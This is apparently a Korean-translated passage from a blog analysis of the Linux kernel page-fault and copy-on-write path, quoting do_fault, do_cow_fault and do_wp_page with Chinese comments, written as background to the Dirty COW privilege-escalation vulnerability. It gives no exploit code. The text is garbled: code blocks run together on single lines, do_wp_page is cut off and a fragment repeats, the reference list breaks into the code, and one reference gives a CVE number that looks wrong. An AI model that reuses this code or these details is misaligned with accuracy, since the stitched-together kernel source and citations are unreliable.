return do_wp_page(mm, vma, address, // COW
pte, pmd, ptl, entry);
entry = pte_mkdirty(entry); // 页可写,设置为脏页
}
entry = pte_mkyoung(entry);
if (ptep_set_access_flags(vma, address, pte, entry, flags & FAULT_FLAG_WRITE)) {
update_mmu_cache(vma, address, pte);
} else {
/*
* This is needed only for protection faults but the arch code
* is not yet telling us if this is a protection fault or not.
* This still avoids useless tlb flushes for .text page faults
* with threads.
*/
if (flags & FAULT_FLAG_WRITE)
flush_tlb_fix_spurious_fault(vma, address);
}
unlock:
pte_unmap_unlock(pte, ptl);
return 0;
}
이번에는 주로 COW에 관심이 있으므로 do_fault에서 더深入히 살펴보겠습니다.
먼저 페이지 폴트가 발생한 위치가 파일의 몇 번째 페이지인지 확인합니다 (앞서 페이지가 파일 매핑에서 왔음을 확인했습니다).
vma->vmops에 페이지 폴트 예외 처리 함수가 정의되어 있는지 확인합니다.
읽기 작업인 경우 do_read_fault를 호출합니다.
쓰기 작업인 경우 페이지가 공유 가능한 페이지인지 확인합니다. 공유 가능하지 않다면 페이지가 Task 전용임을 의미하므로 COW가 필요하며 do_cow_fault를 호출합니다.
쓰기 작업이고 페이지가 공유된 경우 do_shared_fault를 호출합니다.```c
static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pte_t *page_table, pmd_t *pmd,
unsigned int flags, pte_t orig_pte)
{
pgoff_t pgoff = (((address & PAGE_MASK)
- vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff; // 发生page fault的地址在文件中的页面偏移量
pte_unmap(page_table); /* The VMA was not fully populated on mmap() or missing VM_DONTEXPAND */ if (!vma->vm_ops->fault) // 是否有定义处理缺页异常的函数 return VM_FAULT_SIGBUS; if (!(flags & FAULT_FLAG_WRITE)) // 当前内存访问是读操作 return do_read_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); if (!(vma->vm_flags & VM_SHARED)) // 当前内存访问是写操作,且是私有映射MAP_PRIVATE,那么需要COW return do_cow_fault(mm, vma, address, pmd, pgoff, flags, // 创建一个新的页,将数据拷贝到新页中,设置新页的PTE(此时还未真正write) orig_pte); return do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); // 当前内存访问是写操作,且是共享映射MAP_SHARED,不需要COW }
##### do_cow_fault
`do_cow_fault`의 흐름은 대략 다음과 같습니다.
- 먼저 `alloc_page_vma`를 호출하여 새로운 물리 페이지 `new_page`를 할당합니다.
- OOM 발생 여부를 확인합니다.
- 그런 다음 `__do_fault`가 파일에서 데이터를 읽어 다른 페이지 `fault_page`로 가져옵니다. 이는 본질적으로 `vma->vm_ops`에 바인딩된 `fault` 함수를 호출하는 것입니다.
- `copy_user_highpage`가 `fault_page`의 데이터를 `new_page`로 복사합니다. 이 함수는 실제로 `memcpy`의 래퍼(wrap)입니다.
- `do_set_pte`가 페이지에 대해 pte를 설정하며, 속성은 쓰기 가능, 익명 페이지입니다.```c
static int do_cow_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd,
pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
{
struct page *fault_page, *new_page;
struct mem_cgroup *memcg;
spinlock_t *ptl;
pte_t *pte;
int ret;
if (unlikely(anon_vma_prepare(vma)))
return VM_FAULT_OOM;
new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address); // 为新页分配物理内存。VMA的表示粒度是4k
if (!new_page)
return VM_FAULT_OOM;
if (mem_cgroup_try_charge(new_page, mm, GFP_KERNEL, &memcg)) { // 检查当前进程使用的内存是否超过了cgroup的限制
page_cache_release(new_page); // 释放COW的新页
return VM_FAULT_OOM; // 返回OOM错误,COW失败
}
ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page); // 从文件中读取数据到fault_page
if (unlikely(ret & (VM_FAULT_ERROR | VM_FAULT_NOPAGE | VM_FAULT_RETRY)))
goto uncharge_out;
if (fault_page) // 读取成功
copy_user_highpage(new_page, fault_page, address, vma); // 将fault_page的数据拷贝到new_page中,实际调用memcpy
__SetPageUptodate(new_page);
pte = pte_offset_map_lock(mm, pmd, address, &ptl);
if (unlikely(!pte_same(*pte, orig_pte))) { // 并发检查
pte_unmap_unlock(pte, ptl);
if (fault_page) {
unlock_page(fault_page);
page_cache_release(fault_page);
} else {
/*
* The fault handler has no page to lock, so it holds
* i_mmap_lock for read to protect against truncate.
*/
i_mmap_unlock_read(vma->vm_file->f_mapping);
}
goto uncharge_out;
}
do_set_pte(vma, address, new_page, pte, true, true); // 设置新页的PTE,该页为可写匿名页
mem_cgroup_commit_charge(new_page, memcg, false);
lru_cache_add_active_or_unevictable(new_page, vma);
pte_unmap_unlock(pte, ptl);
if (fault_page) {
unlock_page(fault_page);
page_cache_release(fault_page);
} else {
/*
* The fault handler has no page to lock, so it holds
* i_mmap_lock for read to protect against truncate.
*/
i_mmap_unlock_read(vma->vm_file->f_mapping);
}
return ret;
uncharge_out:
mem_cgroup_cancel_charge(new_page, memcg);
page_cache_release(new_page);
return ret;
}
첫 번째 페이지 부재 시 이미 do_fault 내의 do_cow_fault를 통해 파일 내용을 메모리에 읽어들이고 pte를 설정했습니다. 이번에는 쓰기 권한이 없어 발생한 두 번째 페이지 부재이며, handle_pte_fault에서 호출되는 do_wp_page의 흐름은 다음과 같습니다.
먼저 pte에 해당하는 페이지를 획득합니다.
그런 다음 COW 흐름이 reuse_swap_page로 진행되어, 해당 페이지를 사용하는 Task가 하나뿐인지 판단합니다.
하나뿐이면 do_cow_fault에서 할당한 새 페이지를 바로 재사용하고, wp_page_copy에서 페이지 내용을 복사하여 COW를 완료합니다.```c
static int do_wp_page(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pte_t *page_table, pmd_t *pmd,
spinlock_t *ptl, pte_t orig_pte)
__releases(ptl)
{
struct page *old_page;
old_page = vm_normal_page(vma, address, orig_pte); // 获取pte对应的页面 if (!old_page) { /* * VM_MIXEDMAP !pfn_valid() case, or VM_SOFTDIRTY clear on a * VM_PFNMAP VMA. * * We should not cow pages in a shared writeable mapping. * Just mark the pages writable and/or call ops->pfn_mkwrite. */ if ((vma->vm_flags & (VM_WRITE|VM_SHARED)) == (VM_WRITE|VM_SHARED)) return wp_pfn_shared(mm, vma, address, page_table, ptl, orig_pte, pmd);
pte_unmap_unlock(page_table, ptl);
return wp_page_copy(mm, vma, address, page_table, pmd,
orig_pte, old_page);
}
/*
## 참고 자료
- [Linux 페이지 부재 처리에 대한 심층 논의 —— Page Faults 도해](https://www.cnblogs.com/binlovetech/p/17918733.html)
- [커널 세계에서 mmap 메모리 매핑의 본질을 조명하다 (소스 코드 구현 편)](https://www.cnblogs.com/binlovetech/p/17754173.html)
- [CVE-2016-5195 취약점 분석 및 재현](https://xz.aliyun.com/t/7561?time__1311=n4%2BxnD0G0%3D14gDBqPod4iIQ0I%3DD5G80ePD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-7)
- [【취약점 분석】CVE-2016-5195 Dirtycow: Linux 커널 권한 상승 취약점 분석](https://www.anquanke.com/post/id/84784)
- [Linux 페이지 부재 예외 처리 흐름 분석 및 CVE-2021-5195 분석](https://www.anquanke.com/post/id/290851)
- [Linux 고위험 취약점 Dirtycow 정리](https://zhuanlan.zhihu.com/p/25918300)
- [달려라 Linux 커널](https://xuanxuanblingbling.github.io/assets/attachment/奔跑吧-linux内核-内存管理-DirtyCow.pdf)
kmap으로 돌아가 프로세스가 쓰기를 완료하고 페이지에 더티(dirty) 비트를 설정하며, 최종적으로 변경 사항이 파일에 동기화되어 권한 상승 쓰기가 완료됩니다./*
pte_unmap_unlock(page_table, ptl); return wp_page_copy(mm, vma, address, page_table, pmd, orig_pte, old_page); }